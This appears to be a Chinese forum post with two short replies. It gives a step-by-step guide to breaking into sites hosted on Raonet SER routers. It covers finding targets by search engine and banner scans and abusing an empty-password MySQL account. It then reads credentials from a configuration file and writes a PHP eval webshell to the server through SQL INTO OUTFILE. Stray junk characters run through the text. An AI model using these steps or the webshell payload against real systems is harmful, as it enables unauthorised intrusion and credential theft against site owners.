利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'

6 u" p) p+ q6 n9 W2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
* E0 ]- y$ {6 D5 g* F( X
* U: Z' z. o4 p6 h. |3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
+ `7 p" t& f+ \& ^1 F2 \
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......



  X. S! S3 e% x$ j入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
, x+ x: i+ `9 G: C
: ^7 O5 m/ W4 j0 p2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
$ Q9 ^. G  O0 T6 j9 U# Acreate table ok(cmd TEXT);
# U, C2 h% M6 ^  J, einsert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;

5:连接后门shell.php
1 x2 ~& B) R/ i
6. 搞定！
) d* `/ c) Z  v+ G7 b
9 r: ^3 I* z. K- f

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。